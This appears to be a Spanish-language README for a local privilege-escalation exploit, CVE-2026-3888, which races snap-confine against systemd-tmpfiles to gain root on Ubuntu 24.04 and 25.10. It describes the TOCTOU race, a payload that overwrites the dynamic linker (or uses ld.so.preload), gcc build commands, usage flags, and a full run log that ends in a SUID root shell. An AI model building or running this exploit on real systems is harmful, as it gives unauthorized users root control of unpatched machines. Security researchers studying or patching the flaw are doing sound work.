
Exploit de escalada de privilegios local para CVE-2026-3888 dirigido a snap-confine y systemd-tmpfiles en Ubuntu, que proporciona variantes SUID y de capacidades para lograr acceso root.
Escalada de privilegios local desde un usuario sin privilegios hasta root completo en Ubuntu Desktop 24.04+ explotando una condición de carrera TOCTOU entre snap-confine y systemd-tmpfiles. Se proporcionan dos variantes: SUID y Capabilities.
CVSS: 7.8 (Alta) | Aviso: Qualys | Parche: snapd 2.74.2, 17 de marzo de 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Snap objetivo | firefox | snap-store |
| Imitar objetivo | /usr/lib/x86_64-linux-gnu (~285 entradas) | /var/lib (~17 entradas) |
| Vector de explotación | Sobrescribir ld-linux-x86-64.so.2 con shellcode | Controlar user-fstab + ld.so.preload |
| Formato del payload | ELF estático con syscalls crudas | Biblioteca compartida con __attribute__((constructor)) |
| Disparador de root | snap-confine SUID carga el enlazador dinámico envenenado | su SUID en /tmp/.snap precarga .so |
| Requisito de cgroup | Cualquier nombre snap.* | Coincidencia exacta: snap.snap-store.hook.configure |
Limpieza de .snap | 30 días | 10 días |
| Escape del sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles elimina el directorio de imitación .snap obsoleto bajo /tmp (caducidad de 30 días)snap-confine mediante contrapresión de socket AF_UNIX para ganar la carrera de forma fiable durante la secuencia de bind-mount de imitaciónld-linux-x86-64.so.2 se reemplaza con shellcode que llama a setreuid(0,0) + execvesnap-confine SUID dispara el shellcode con privilegios de root/var/snap/firefox/common/ para escapar del sandbox| Archivo | Descripción |
|---|---|
exploit_suid.c | Exploit unificado de un solo binario — las 7 fases en un orquestador basado en fork |
librootshell_suid.c | Payload — ELF mínimo que reemplaza ld-linux-x86-64.so.2 mediante syscalls x86_64 crudas |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Ambos deben compilarse en (o compilarse de forma cruzada para) Linux x86_64. exploit está enlazado estáticamente para ejecutarse dentro del sandbox de snap sin dependencias de bibliotecas. librootshell.so usa -nostdlib porque contiene solo syscalls crudas — sin libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Descripción |
|---|---|
-d | Mostrar salida de depuración de snap-confine (modo verbose) |
-s | Omitir la espera de limpieza de .snap (requiere contraseña de root) |
# Ejecución normal
./exploit ./librootshell.so
# Modo depuración
./exploit ./librootshell.so -d
# Reintentar tras fallo
./exploit ./librootshell.so -s
El exploit entra en el sandbox, espera a que systemd-tmpfiles elimine .snap (hasta 10 días en Ubuntu 25.10 estándar y hasta 30 días en Ubuntu 24.04 estándar), y luego ejecuta la carrera automáticamente. En caso de éxito, proporciona un shell de root.
snap-confine debe ser SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer activobusybox disponible en el objetivo (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entrando en el sandbox de Firefox...
[+] PID del shell interno: 3122
[Phase 2] Esperando la eliminación de .snap...
[*] Sondeando (hasta 30 días en Ubuntu estándar).
[*] Sugerencia: use -s para omitir.
[+] .snap eliminado.
[Phase 3] Destruyendo el espacio de nombres de montaje en caché...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Espacio de nombres destruido.
[Phase 4] Configurando y ejecutando la carrera...
[*] Directorio de trabajo: /proc/3122/cwd
[*] Construyendo .snap y .exchange...
[*] 285 entradas copiadas al directorio de intercambio
[*] Iniciando la carrera...
[*] Monitoreando snap-confine (PID hijo 3543)...
[!] DISPARADOR — intercambiando directorios...
[+] INTERCAMBIO COMPLETADO — ¡carrera ganada!
[*] ld-linux en el espacio de nombres: user:user 755
[+] Espacio de nombres envenenado PID: 3543
[Phase 5] Inyectando payload en el espacio de nombres envenenado...
[+] ld-linux propiedad de uid 1000 (atacante). Carrera confirmada.
[*] Instalando busybox...
[*] Escribiendo script de escape → /tmp/sh
[*] Sobrescribiendo ld-linux-x86-64.so.2...
[+] Payload inyectado.
[Phase 6] Disparando root mediante snap-confine SUID...
[*] snap-confine → snap-confine (disparador SUID)
[*] Estado de salida: 0
[Phase 7] Verificando...
[+] bash SUID root: /var/snap/firefox/common/bash (modo 4755)
[*] Limpiando procesos en segundo plano...
================================================================
SHELL ROOT: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)